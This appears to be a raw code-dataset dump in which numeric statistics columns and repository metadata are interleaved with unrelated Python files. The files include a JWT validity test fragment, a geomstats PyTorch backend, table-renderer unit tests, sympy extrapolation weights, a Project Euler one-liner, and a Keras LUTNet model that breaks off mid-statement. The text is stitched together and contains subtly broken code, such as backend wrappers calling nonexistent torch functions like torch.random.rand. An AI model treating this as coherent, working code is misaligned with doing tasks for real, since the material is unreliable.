self.encode_jwt( {"iss": self.JWT_ISS, "aud": self.JWT_AUD, "user": "toto", "iat": int(time.time()) - 1000, "nbf": int(time.time()) - 1000, "exp": int(time.time()) - self.JWT_LEEWAY + 1}, private_key, alg) code, content, headers = self.http_get(secured_url, token=token) self.assertEqual(code, 200) @TestJWT.with_all_algorithms() def test_should_success(self, alg, public_key, private_key, secured_url, login_url): token = self.encode_jwt( {"iss": self.JWT_ISS, "aud": self.JWT_AUD, "user": "toto", "iat": int(time.time()) - 1000, "nbf": int(time.time()) - 1000, "exp": int(time.time()) + 10}, private_key, alg) code, content, headers = self.http_get(secured_url, token=token) self.assertEqual(code, 200)
57.982609
120
0.619226
832
6,668
4.739183
0.108173
0.046158
0.072534
0.066954
0.896272
0.896272
0.880548
0.860512
0.860512
0.859498
0
0.016604
0.241302
6,668
114
121
58.491228
0.762799
0.016047
0
0.616162
0
0
0.147476
0.047735
0
0
0
0
0.171717
1
0.111111
false
0.020202
0.040404
0
0.161616
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
6
dc826ee5cb887d16d516c941e27dd8b805b6df83
47
py
Python
src/ur_online_control/ur_direct/__init__.py
createchaos/ur_online_control_speckle
22b0ec6b7ffa2c74b55dd214e7b854bec9922ccb
[ "MIT" ]
null
null
null
src/ur_online_control/ur_direct/__init__.py
createchaos/ur_online_control_speckle
22b0ec6b7ffa2c74b55dd214e7b854bec9922ccb
[ "MIT" ]
null
null
null
src/ur_online_control/ur_direct/__init__.py
createchaos/ur_online_control_speckle
22b0ec6b7ffa2c74b55dd214e7b854bec9922ccb
[ "MIT" ]
null
null
null
from .structure import * from .common import *
15.666667
24
0.744681
6
47
5.833333
0.666667
0
0
0
0
0
0
0
0
0
0
0
0.170213
47
2
25
23.5
0.897436
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
dc9dc726702953c4f6a7bf1a1ed6f51702c9e2bb
5,242
py
Python
geomstats/backend/pytorch.py
effigies/geomstats
0d6979a15cefcf98f7f92bade9d0e4abee3dde14
[ "MIT" ]
null
null
null
geomstats/backend/pytorch.py
effigies/geomstats
0d6979a15cefcf98f7f92bade9d0e4abee3dde14
[ "MIT" ]
null
null
null
geomstats/backend/pytorch.py
effigies/geomstats
0d6979a15cefcf98f7f92bade9d0e4abee3dde14
[ "MIT" ]
null
null
null
"""Pytorch based computation backend.""" import numpy as np import torch double = 'torch.DoubleTensor' float16 = 'torch.Float' float64 = 'torch.DoubleTensor' int32 = 'torch.LongTensor' int8 = 'torch.ByteTensor' def arctan2(*args, **kwargs): return torch.arctan2(*args, **kwargs) def cast(x, dtype): return x.type(dtype) def divide(*args, **kwargs): return torch.div(*args, **kwargs) def repeat(*args, **kwargs): return torch.repeat(*args, **kwargs) def asarray(x): return np.asarray(x) def concatenate(seq, axis=0, out=None): return torch.cat(seq, dim=axis, out=out) def identity(val): return torch.eye(val) def hstack(val): return torch.hstack(val) def stack(*args, **kwargs): return torch.stack(*args, **kwargs) def vstack(val): return torch.vstack(val) def array(val): return torch.tensor(val) def abs(val): return torch.abs(val) def zeros(*args): return torch.from_numpy(np.zeros(*args)).float() def ones(val): return torch.ones(val) def ones_like(*args, **kwargs): return torch.ones_like(*args, **kwargs) def empty_like(*args, **kwargs): return torch.empty_like(*args, **kwargs) def all(x, axis=None): if axis is None: return x.byte().all() return torch.from_numpy(np.all(x, axis=axis).astype(int)) def allclose(a, b, **kwargs): return torch.allclose(a, b, **kwargs) def sin(val): return torch.sin(val) def cos(val): return torch.cos(val) def cosh(*args, **kwargs): return torch.cosh(*args, **kwargs) def sinh(*args, **kwargs): return torch.sinh(*args, **kwargs) def tanh(*args, **kwargs): return torch.tanh(*args, **kwargs) def arcsinh(x): return torch.log(x + torch.sqrt(x*x+1)) def arcosh(x): return torch.log(x + torch.sqrt(x*x-1)) def tan(val): return torch.tan(val) def arcsin(val): return torch.asin(val) def arccos(val): return torch.acos(val) def shape(val): return val.shape def dot(a, b): return torch.from_numpy(np.dot(a, b)) def maximum(a, b): return torch.max(array(a), array(b)) def greater_equal(a, b): return torch.greater_equal(a, b) def to_ndarray(x, to_ndim, axis=0): if type(x) == list: x = np.copy(np.array(x)) if type(x) == np.ndarray: x = torch.from_numpy(x) if x.dim() == to_ndim - 1: x = torch.unsqueeze(x, dim=axis) assert x.dim() >= to_ndim return x def sqrt(val): return torch.sqrt(torch.tensor(val).float()) def norm(val, axis): return torch.linalg.norm(val, axis=axis) def rand(*args, **largs): return torch.random.rand(*args, **largs) def isclose(*args, **kwargs): return torch.from_numpy(np.isclose(*args, **kwargs).astype(int)).byte() def less_equal(a, b): return np.less_equal(a, b) def eye(*args, **kwargs): return torch.eye(*args, **kwargs) def average(*args, **kwargs): return torch.average(*args, **kwargs) def matmul(*args, **kwargs): return torch.matmul(*args, **kwargs) def sum(*args, **kwargs): return torch.sum(*args, **kwargs) def einsum(*args, **kwargs): return torch.from_numpy(np.einsum(*args, **kwargs)).float() def T(x): return torch.t(x) def transpose(x, axes=None): if axes: return x.permute(axes) if len(shape(x)) == 1: return x return x.t() def squeeze(x, axis=None): return torch.squeeze(x, dim=axis) def zeros_like(*args, **kwargs): return torch.zeros_like(*args, **kwargs) def trace(*args, **kwargs): return torch.from_numpy(np.trace(*args, **kwargs)) def mod(*args, **kwargs): return torch.fmod(*args, **kwargs) def linspace(*args, **kwargs): return torch.linspace(*args, **kwargs) def equal(*args, **kwargs): return torch.equal(*args, **kwargs) def floor(*args, **kwargs): return torch.floor(*args, **kwargs) def cross(x, y): return torch.from_numpy(np.cross(x, y)) def triu_indices(*args, **kwargs): return torch.triu_indices(*args, **kwargs) def where(*args, **kwargs): return torch.where(*args, **kwargs) def tile(x, y): # TODO(johmathe): Native tile implementation return array(np.tile(x, y)) def clip(x, amin, amax): return np.clip(x, amin, amax) def diag(*args, **kwargs): return torch.diag(*args, **kwargs) def any(x): return x.byte().any() def expand_dims(x, axis): return torch.unsqueeze(x, dim=axis) def outer(*args, **kwargs): return torch.ger(*args, **kwargs) def hsplit(*args, **kwargs): return torch.hsplit(*args, **kwargs) def argmax(*args, **kwargs): return torch.argmax(*args, **kwargs) def diagonal(*args, **kwargs): return torch.diagonal(*args, **kwargs) def exp(*args, **kwargs): return torch.exp(*args, **kwargs) def log(*args, **kwargs): return torch.log(*args, **kwargs) def cov(*args, **kwargs): return torch.cov(*args, **kwargs) def eval(x): return x def ndim(x): return x.dim() def gt(*args, **kwargs): return torch.gt(*args, **kwargs) def eq(*args, **kwargs): return torch.eq(*args, **kwargs) def nonzero(*args, **kwargs): return torch.nonzero(*args, **kwargs) def copy(x): return x.clone() def seed(x): torch.manual_seed(x)
16.330218
75
0.632011
777
5,242
4.230373
0.184041
0.206876
0.181016
0.217219
0.111044
0.048068
0.048068
0.018862
0.018862
0.018862
0
0.00354
0.191721
5,242
320
76
16.38125
0.772245
0.01488
0
0.017857
0
0
0.015316
0
0
0
0
0.003125
0.005952
1
0.440476
false
0
0.011905
0.416667
0.904762
0
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
6
f4a8a9074dd50a67f32ee5c5476f2441451dfd51
39
py
Python
Text Data - API Prediction/original/__init__.py
marouanel/Data-Projects
2e10225a1cd005f1d7c237516c56cb97a0135613
[ "Apache-2.0" ]
null
null
null
Text Data - API Prediction/original/__init__.py
marouanel/Data-Projects
2e10225a1cd005f1d7c237516c56cb97a0135613
[ "Apache-2.0" ]
null
null
null
Text Data - API Prediction/original/__init__.py
marouanel/Data-Projects
2e10225a1cd005f1d7c237516c56cb97a0135613
[ "Apache-2.0" ]
null
null
null
from .at_model import AuthorTopicModel
19.5
38
0.871795
5
39
6.6
1
0
0
0
0
0
0
0
0
0
0
0
0.102564
39
1
39
39
0.942857
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
f4abc9116573323a44a0146b16b9ef9e2702bbb9
11,261
py
Python
tests/python/renderer/test__table_renderer.py
dotmodules/dm
ec2ebf6c8b9ac707440a81d0f25003af6f0603c2
[ "MIT" ]
null
null
null
tests/python/renderer/test__table_renderer.py
dotmodules/dm
ec2ebf6c8b9ac707440a81d0f25003af6f0603c2
[ "MIT" ]
null
null
null
tests/python/renderer/test__table_renderer.py
dotmodules/dm
ec2ebf6c8b9ac707440a81d0f25003af6f0603c2
[ "MIT" ]
null
null
null
import pytest from pytest_mock.plugin import MockerFixture from dotmodules.renderer import Colors, RenderError, TableRenderer from dotmodules.settings import Settings @pytest.fixture def settings() -> Settings: return Settings() @pytest.fixture def colors() -> Colors: return Colors() @pytest.fixture def table_renderer(settings: Settings, colors: Colors) -> TableRenderer: return TableRenderer(settings=settings, colors=colors) class TestColumnWidthCalculationCases: def test__column_width_can_be_calculated( self, table_renderer: TableRenderer ) -> None: dummy_buffer = [ ["aaa", "a", "a"], ["a", "aaa", "a"], ["a", "a", "aaa"], ] result = table_renderer._calculate_max_column_width(buffer=dummy_buffer) assert result == [3, 3, 3] def test__inconsistent_columns__error(self, table_renderer: TableRenderer) -> None: dummy_buffer = [ ["a", "a"], ["a"], ] with pytest.raises(RenderError) as exception_info: table_renderer._calculate_max_column_width(buffer=dummy_buffer) expected = "inconsistent column count" assert expected in str(exception_info.value) class TestRowRenderingCases: def test__rendered_column_width_can_be_adjusted_1( self, settings: Settings, table_renderer: TableRenderer ) -> None: settings.indent = " " * 4 settings.column_padding = " " * 2 table_renderer.add_row("a", "b") table_renderer.add_row("aa", "b") table_renderer.add_row("aaa", "b") result = table_renderer.render(print_lines=False) assert result == [ " a b", " aa b", " aaa b", ] def test__rendered_column_width_can_be_adjusted_2( self, settings: Settings, table_renderer: TableRenderer ) -> None: settings.indent = " " * 2 settings.column_padding = " " * 1 table_renderer.add_row("a", "b") table_renderer.add_row("aa", "b") table_renderer.add_row("aaa", "b") result = table_renderer.render(print_lines=False) assert result == [ " a b", " aa b", " aaa b", ] def test__rendered_column_width_can_be_adjusted_without_indentation( self, settings: Settings, table_renderer: TableRenderer ) -> None: settings.indent = " " * 2 settings.column_padding = " " * 1 table_renderer.add_row("a", "b") table_renderer.add_row("aa", "b") table_renderer.add_row("aaa", "b") result = table_renderer.render(print_lines=False, indent=False) assert result == [ "a b", "aa b", "aaa b", ] def test__coloring_should_not_affect_the_width_adjustment( self, settings: Settings, table_renderer: TableRenderer, mocker: MockerFixture ) -> None: mock_load_color_for_tag = mocker.patch( "dotmodules.renderer.ColorAdapter._load_color_for_tag", wraps=lambda tag: tag.lower(), ) settings.indent = " " * 4 settings.column_padding = " " * 2 table_renderer.add_row("<<RED>>a<<RESET>>", "<<BLUE>>b<<RESET>>") table_renderer.add_row("<<RED>>aa<<RESET>>", "<<BLUE>>b<<RESET>>") table_renderer.add_row("<<RED>>aaa<<RESET>>", "<<BLUE>>b<<RESET>>") result = table_renderer.render(print_lines=False) assert result == [ " redareset bluebreset", " redaareset bluebreset", " redaaareset bluebreset", ] mock_load_color_for_tag.assert_has_calls( [ mocker.call(tag="RED"), mocker.call(tag="RESET"), mocker.call(tag="BLUE"), ] ) def test__coloring_can_be_added_to_multiple_items_with_indentation( self, settings: Settings, table_renderer: TableRenderer, mocker: MockerFixture ) -> None: mock_load_color_for_tag = mocker.patch( "dotmodules.renderer.ColorAdapter._load_color_for_tag", wraps=lambda tag: tag.lower(), ) settings.indent = " " * 2 settings.column_padding = " " * 1 table_renderer.add_row( "<<BOLD>>[<<RED>>1<<RESET>><<BOLD>>]<<RESET>>", "<<YELLOW>>a<<RESET>>", "<<DIM>>b<<RESET>>", ) table_renderer.add_row( "<<BOLD>>[<<RED>>2<<RESET>><<BOLD>>]<<RESET>>", "<<YELLOW>>aa<<RESET>>", "<<DIM>>b<<RESET>>", ) table_renderer.add_row( "<<BOLD>>[<<RED>>3<<RESET>><<BOLD>>]<<RESET>>", "<<YELLOW>>aaa<<RESET>>", "<<DIM>>b<<RESET>>", ) result = table_renderer.render( column_alignments=[ table_renderer.ALIGN__LEFT, table_renderer.ALIGN__RIGHT, table_renderer.ALIGN__LEFT, ], indent=True, print_lines=False, ) assert result == [ " bold[red1resetbold]reset yellowareset dimbreset", " bold[red2resetbold]reset yellowaareset dimbreset", " bold[red3resetbold]reset yellowaaareset dimbreset", ] mock_load_color_for_tag.assert_has_calls( [ mocker.call(tag="BOLD"), mocker.call(tag="RED"), mocker.call(tag="RESET"), mocker.call(tag="YELLOW"), mocker.call(tag="DIM"), ] ) def test__coloring_can_be_added_to_multiple_items_without_indentation( self, settings: Settings, table_renderer: TableRenderer, mocker: MockerFixture ) -> None: mock_load_color_for_tag = mocker.patch( "dotmodules.renderer.ColorAdapter._load_color_for_tag", wraps=lambda tag: tag.lower(), ) settings.indent = " " * 2 settings.column_padding = " " * 1 table_renderer.add_row( "<<BOLD>>[<<RED>>1<<RESET>><<BOLD>>]<<RESET>>", "<<YELLOW>>a<<RESET>>", "<<DIM>>b<<RESET>>", ) table_renderer.add_row( "<<BOLD>>[<<RED>>2<<RESET>><<BOLD>>]<<RESET>>", "<<YELLOW>>aa<<RESET>>", "<<DIM>>b<<RESET>>", ) table_renderer.add_row( "<<BOLD>>[<<RED>>3<<RESET>><<BOLD>>]<<RESET>>", "<<YELLOW>>aaa<<RESET>>", "<<DIM>>b<<RESET>>", ) result = table_renderer.render( column_alignments=[ table_renderer.ALIGN__LEFT, table_renderer.ALIGN__RIGHT, table_renderer.ALIGN__LEFT, ], indent=False, print_lines=False, ) assert result == [ "bold[red1resetbold]reset yellowareset dimbreset", "bold[red2resetbold]reset yellowaareset dimbreset", "bold[red3resetbold]reset yellowaaareset dimbreset", ] mock_load_color_for_tag.assert_has_calls( [ mocker.call(tag="BOLD"), mocker.call(tag="RED"), mocker.call(tag="RESET"), mocker.call(tag="YELLOW"), mocker.call(tag="DIM"), ] ) class TestRowRenderingPrintOutputCases: def test__coloring_can_be_added_to_multiple_items_without_indentation( self, settings: Settings, table_renderer: TableRenderer, mocker: MockerFixture ) -> None: mock_print = mocker.patch("dotmodules.renderer.print") mock_load_color_for_tag = mocker.patch( "dotmodules.renderer.ColorAdapter._load_color_for_tag", wraps=lambda tag: tag.lower(), ) settings.indent = " " * 2 settings.column_padding = " " * 1 table_renderer.add_row( "<<BOLD>>[<<RED>>1<<RESET>><<BOLD>>]<<RESET>>", "<<YELLOW>>a<<RESET>>", "<<DIM>>b<<RESET>>", ) table_renderer.add_row( "<<BOLD>>[<<RED>>2<<RESET>><<BOLD>>]<<RESET>>", "<<YELLOW>>aa<<RESET>>", "<<DIM>>b<<RESET>>", ) table_renderer.add_row( "<<BOLD>>[<<RED>>3<<RESET>><<BOLD>>]<<RESET>>", "<<YELLOW>>aaa<<RESET>>", "<<DIM>>b<<RESET>>", ) table_renderer.render( column_alignments=[ table_renderer.ALIGN__LEFT, table_renderer.ALIGN__RIGHT, table_renderer.ALIGN__LEFT, ], indent=False, ) mock_print.assert_has_calls( [ mocker.call("bold[red1resetbold]reset yellowareset dimbreset"), mocker.call("bold[red2resetbold]reset yellowaareset dimbreset"), mocker.call("bold[red3resetbold]reset yellowaaareset dimbreset"), ] ) assert mock_print.call_count == 3 mock_load_color_for_tag.assert_has_calls( [ mocker.call(tag="BOLD"), mocker.call(tag="RED"), mocker.call(tag="RESET"), mocker.call(tag="YELLOW"), mocker.call(tag="DIM"), ] ) def test__coloring_can_be_added_to_multiple_items_with_indentation( self, settings: Settings, table_renderer: TableRenderer, mocker: MockerFixture ) -> None: mock_print = mocker.patch("dotmodules.renderer.print") mock_load_color_for_tag = mocker.patch( "dotmodules.renderer.ColorAdapter._load_color_for_tag", wraps=lambda tag: tag.lower(), ) settings.indent = " " * 2 settings.column_padding = " " * 1 table_renderer.add_row( "<<BOLD>>[<<RED>>1<<RESET>><<BOLD>>]<<RESET>>", "<<YELLOW>>a<<RESET>>", "<<DIM>>b<<RESET>>", ) table_renderer.add_row( "<<BOLD>>[<<RED>>2<<RESET>><<BOLD>>]<<RESET>>", "<<YELLOW>>aa<<RESET>>", "<<DIM>>b<<RESET>>", ) table_renderer.add_row( "<<BOLD>>[<<RED>>3<<RESET>><<BOLD>>]<<RESET>>", "<<YELLOW>>aaa<<RESET>>", "<<DIM>>b<<RESET>>", ) table_renderer.render( column_alignments=[ table_renderer.ALIGN__LEFT, table_renderer.ALIGN__RIGHT, table_renderer.ALIGN__LEFT, ], indent=True, ) mock_print.assert_has_calls( [ mocker.call(" bold[red1resetbold]reset yellowareset dimbreset"), mocker.call(" bold[red2resetbold]reset yellowaareset dimbreset"), mocker.call(" bold[red3resetbold]reset yellowaaareset dimbreset"), ] ) assert mock_print.call_count == 3 mock_load_color_for_tag.assert_has_calls( [ mocker.call(tag="BOLD"), mocker.call(tag="RED"), mocker.call(tag="RESET"), mocker.call(tag="YELLOW"), mocker.call(tag="DIM"), ] )
33.316568
87
0.539029
1,100
11,261
5.241818
0.101818
0.128512
0.066597
0.079084
0.865938
0.862817
0.861776
0.846167
0.836282
0.787374
0
0.006158
0.322263
11,261
337
88
33.41543
0.749345
0
0
0.699324
0
0
0.206998
0.115265
0
0
0
0
0.057432
1
0.043919
false
0
0.013514
0.010135
0.077703
0.040541
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
6
f4c64ea5ed5a69dd9533b421e233546a360797ed
1,244
py
Python
matrix_extrapolation/bch_series_expansion/extrapolation_weights.py
ochsnerd/Hamiltonian_Extrapolation
a91e651a9515a22d6e279d567340182658bcd2f6
[ "Apache-2.0" ]
null
null
null
matrix_extrapolation/bch_series_expansion/extrapolation_weights.py
ochsnerd/Hamiltonian_Extrapolation
a91e651a9515a22d6e279d567340182658bcd2f6
[ "Apache-2.0" ]
null
null
null
matrix_extrapolation/bch_series_expansion/extrapolation_weights.py
ochsnerd/Hamiltonian_Extrapolation
a91e651a9515a22d6e279d567340182658bcd2f6
[ "Apache-2.0" ]
null
null
null
import sympy as sp from typing import Sequence, Union class ExtrapolationWeightsSymmetric(Sequence): """Cached extrapolation-weights a, defined as a_j = prod_q m_j^2 / (m_j^2 - m_q^2) """ def __init__(self, m: Sequence[int]) -> None: assert len(m) == len(set(m)) assert all(m_j > 0 for m_j in m) m2 = [m_j**2 for m_j in m] self.a = [] for m_j2 in m2: self.a += [sp.prod(sp.Rational(m_j2, m_j2 - m_q2) for m_q2 in m2 if m_q2 != m_j2)] def __getitem__(self, j: Union[int, slice]) -> sp.Rational: return self.a[j] def __len__(self): return len(self.a) class ExtrapolationWeights(Sequence): """Cached extrapolation-weights a, defined as a_j = prod_q m_j / (m_j - m_q) """ def __init__(self, m: Sequence[int]) -> None: assert len(m) == len(set(m)) assert all(m_j > 0 for m_j in m) self.a = [] for m_j in m: self.a += [sp.prod(sp.Rational(m_j, m_j - m_q) for m_q in m if m_q != m_j)] def __getitem__(self, j: Union[int, slice]) -> sp.Rational: return self.a[j] def __len__(self): return len(self.a)
26.468085
63
0.546624
203
1,244
3.083744
0.20197
0.044728
0.031949
0.044728
0.742812
0.742812
0.728435
0.651757
0.651757
0.610224
0
0.019025
0.323955
1,244
46
64
27.043478
0.725327
0.124598
0
0.592593
0
0
0
0
0
0
0
0
0.148148
1
0.222222
false
0
0.074074
0.148148
0.518519
0
0
0
0
null
0
0
0
0
1
1
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
6
761b4f864e6290e583e953c07416b55c3bc299b8
69
py
Python
project-euler/python/p0006.py
sanchopanca/coding-for-pleasure
fed1910e8a5a4241bd55aed333afd79b4405a71d
[ "MIT" ]
null
null
null
project-euler/python/p0006.py
sanchopanca/coding-for-pleasure
fed1910e8a5a4241bd55aed333afd79b4405a71d
[ "MIT" ]
null
null
null
project-euler/python/p0006.py
sanchopanca/coding-for-pleasure
fed1910e8a5a4241bd55aed333afd79b4405a71d
[ "MIT" ]
null
null
null
print(sum(range(1, 101)) ** 2 - sum([x * x for x in range(1, 101)]))
34.5
68
0.550725
15
69
2.533333
0.6
0.315789
0.473684
0
0
0
0
0
0
0
0
0.160714
0.188406
69
1
69
69
0.517857
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0
0
0
1
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
1
0
6
52103276f640bd60e59175304d99e8c4eb6d347a
109
py
Python
examples/run.py
edersohe/giab
671099157c508c9bcb27eebbfb812a3d5744be58
[ "MIT" ]
null
null
null
examples/run.py
edersohe/giab
671099157c508c9bcb27eebbfb812a3d5744be58
[ "MIT" ]
null
null
null
examples/run.py
edersohe/giab
671099157c508c9bcb27eebbfb812a3d5744be58
[ "MIT" ]
null
null
null
from giab import app, SERVER_OPTS, bottle if __name__ == '__main__': bottle.run(app=app, **SERVER_OPTS)
21.8
41
0.715596
16
109
4.25
0.6875
0.264706
0.382353
0
0
0
0
0
0
0
0
0
0.155963
109
4
42
27.25
0.73913
0
0
0
0
0
0.073395
0
0
0
0
0
0
1
0
true
0
0.333333
0
0.333333
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
6
5255ab23888d36f26f8e902d2759683ad515fbc5
77
py
Python
conv_gp/utils/__init__.py
Ninalgad/DeepCGP
9752fed3d37ddb500f8ea2be2781a01a5773ba24
[ "MIT" ]
66
2018-10-06T08:27:17.000Z
2022-01-10T14:27:04.000Z
conv_gp/utils/__init__.py
Ninalgad/DeepCGP
9752fed3d37ddb500f8ea2be2781a01a5773ba24
[ "MIT" ]
4
2018-11-01T07:45:40.000Z
2019-09-04T13:40:29.000Z
conv_gp/utils/__init__.py
Ninalgad/DeepCGP
9752fed3d37ddb500f8ea2be2781a01a5773ba24
[ "MIT" ]
18
2018-10-09T23:34:07.000Z
2021-12-01T16:47:20.000Z
from .log import * from .tensorboard import * from .misc import RunOpAction
15.4
29
0.766234
10
77
5.9
0.6
0.338983
0
0
0
0
0
0
0
0
0
0
0.168831
77
4
30
19.25
0.921875
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
526582f406d4b1158a29dfb8b1abefaaf997f1fe
118
py
Python
anti_sybil/graphs/generators/__init__.py
abramsymons/BrightID-AntiSybil
86161afe654f46475944ebdb3b5453a1723180d9
[ "ISC" ]
null
null
null
anti_sybil/graphs/generators/__init__.py
abramsymons/BrightID-AntiSybil
86161afe654f46475944ebdb3b5453a1723180d9
[ "ISC" ]
null
null
null
anti_sybil/graphs/generators/__init__.py
abramsymons/BrightID-AntiSybil
86161afe654f46475944ebdb3b5453a1723180d9
[ "ISC" ]
1
2020-03-28T05:05:19.000Z
2020-03-28T05:05:19.000Z
import cut_region import no_group import group_based import group_merging import networkrepository import seed_mirror
16.857143
24
0.898305
17
118
5.941176
0.588235
0.217822
0
0
0
0
0
0
0
0
0
0
0.101695
118
6
25
19.666667
0.95283
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
bff87d1a03fd6351a83e6eef74e6b1848d6c42eb
90
py
Python
mylib/__init__.py
mchiquier/pytorch-truecaser
ab8ce3d9bcd1a1ce367fa03ea37da6d29f88458a
[ "Apache-2.0" ]
28
2019-03-29T06:24:16.000Z
2022-03-22T15:31:02.000Z
mylib/__init__.py
mchiquier/pytorch-truecaser
ab8ce3d9bcd1a1ce367fa03ea37da6d29f88458a
[ "Apache-2.0" ]
3
2019-03-02T18:03:56.000Z
2021-04-21T13:29:33.000Z
mylib/__init__.py
mchiquier/pytorch-truecaser
ab8ce3d9bcd1a1ce367fa03ea37da6d29f88458a
[ "Apache-2.0" ]
9
2019-03-05T13:52:41.000Z
2021-12-30T07:45:33.000Z
from . import truecaser from . import truecaser_reader from . import truecaser_predictor
18
33
0.822222
11
90
6.545455
0.454545
0.416667
0.791667
0
0
0
0
0
0
0
0
0
0.144444
90
4
34
22.5
0.935065
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
6
87056f87a813b9848b310f42940803a9feffc085
209
py
Python
__init__.py
IguanaAzul/SpectroGAN
4bcff817a86b8f3253f9dca1d396a27d1fa30662
[ "Apache-2.0" ]
null
null
null
__init__.py
IguanaAzul/SpectroGAN
4bcff817a86b8f3253f9dca1d396a27d1fa30662
[ "Apache-2.0" ]
null
null
null
__init__.py
IguanaAzul/SpectroGAN
4bcff817a86b8f3253f9dca1d396a27d1fa30662
[ "Apache-2.0" ]
null
null
null
from .spectrogram_conversion import generate_spectrogram, generate_all_spectrograms, retrieve_audio, retrieve_audios_from_folder from dcgan import Discriminator, Generator, train_gan, load_dataset, save_model
69.666667
128
0.889952
26
209
6.730769
0.769231
0
0
0
0
0
0
0
0
0
0
0
0.07177
209
2
129
104.5
0.902062
0
0
0
1
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
1
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
6
87162ffd13d5e58ec454005ef720ec9331d57ed2
126
py
Python
models/__init__.py
vuiseng9/CalibTIP
69077c92611b079234706784c344e8c9156f3283
[ "MIT" ]
61
2020-06-14T20:00:05.000Z
2022-03-08T10:18:41.000Z
models/__init__.py
vuiseng9/CalibTIP
69077c92611b079234706784c344e8c9156f3283
[ "MIT" ]
5
2020-09-01T06:53:41.000Z
2022-01-28T07:40:45.000Z
models/__init__.py
vuiseng9/CalibTIP
69077c92611b079234706784c344e8c9156f3283
[ "MIT" ]
18
2020-06-28T10:30:58.000Z
2022-02-28T02:04:15.000Z
from .resnet import * from .resnext import * from .resnet_pytcv import * from .mobilenet_v2 import * from .inception import *
21
27
0.761905
17
126
5.529412
0.470588
0.425532
0
0
0
0
0
0
0
0
0
0.009434
0.15873
126
5
28
25.2
0.877358
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
87403ac98ff88f9f6e2dd9f97f2731d2985856d1
4,851
py
Python
unrolled-lutnet/training-software/model_architectures.py
awai54st/LUTNet
81b044f31d1131bee1a7fae41fc4d2fb102ea73a
[ "BSD-2-Clause" ]
38
2019-10-28T10:06:33.000Z
2022-02-21T21:38:39.000Z
unrolled-lutnet/training-software/model_architectures.py
awai54st/LUTNet
81b044f31d1131bee1a7fae41fc4d2fb102ea73a
[ "BSD-2-Clause" ]
null
null
null
unrolled-lutnet/training-software/model_architectures.py
awai54st/LUTNet
81b044f31d1131bee1a7fae41fc4d2fb102ea73a
[ "BSD-2-Clause" ]
13
2019-10-28T10:17:48.000Z
2021-08-10T21:37:11.000Z
import tensorflow as tf import keras from keras.models import Sequential, Model from keras.layers import Dense, Convolution2D, Activation, Flatten, MaxPooling2D,Input,Dropout,GlobalAveragePooling2D from keras.layers.normalization import BatchNormalization from tensorflow.python.framework import ops from binarization_utils import * batch_norm_eps=1e-4 batch_norm_alpha=0.1#(this is same as momentum) def get_model(dataset,resid_levels,LUT,BINARY,trainable_means): if dataset=='MNIST': model=Sequential() model.add(binary_dense(levels=resid_levels,n_in=784,n_out=256,input_shape=[784],first_layer=True,BINARY=BINARY)) model.add(BatchNormalization(axis=-1, momentum=batch_norm_alpha, epsilon=batch_norm_eps)) model.add(Residual_sign(levels=resid_levels,trainable=trainable_means)) model.add(binary_dense(levels=resid_levels,n_in=int(model.output.get_shape()[2]),n_out=256,LUT=LUT,BINARY=BINARY)) model.add(BatchNormalization(axis=-1, momentum=batch_norm_alpha, epsilon=batch_norm_eps)) model.add(Residual_sign(levels=resid_levels,trainable=trainable_means)) model.add(binary_dense(levels=resid_levels,n_in=int(model.output.get_shape()[2]),n_out=256,LUT=LUT,BINARY=BINARY)) model.add(BatchNormalization(axis=-1, momentum=batch_norm_alpha, epsilon=batch_norm_eps)) model.add(Residual_sign(levels=resid_levels,trainable=trainable_means)) model.add(binary_dense(levels=resid_levels,n_in=int(model.output.get_shape()[2]),n_out=256,LUT=LUT,BINARY=BINARY)) model.add(BatchNormalization(axis=-1, momentum=batch_norm_alpha, epsilon=batch_norm_eps)) model.add(Residual_sign(levels=resid_levels,trainable=trainable_means)) model.add(binary_dense(levels=resid_levels,n_in=int(model.output.get_shape()[2]),n_out=10,LUT=LUT,BINARY=BINARY)) model.add(BatchNormalization(axis=-1, momentum=batch_norm_alpha, 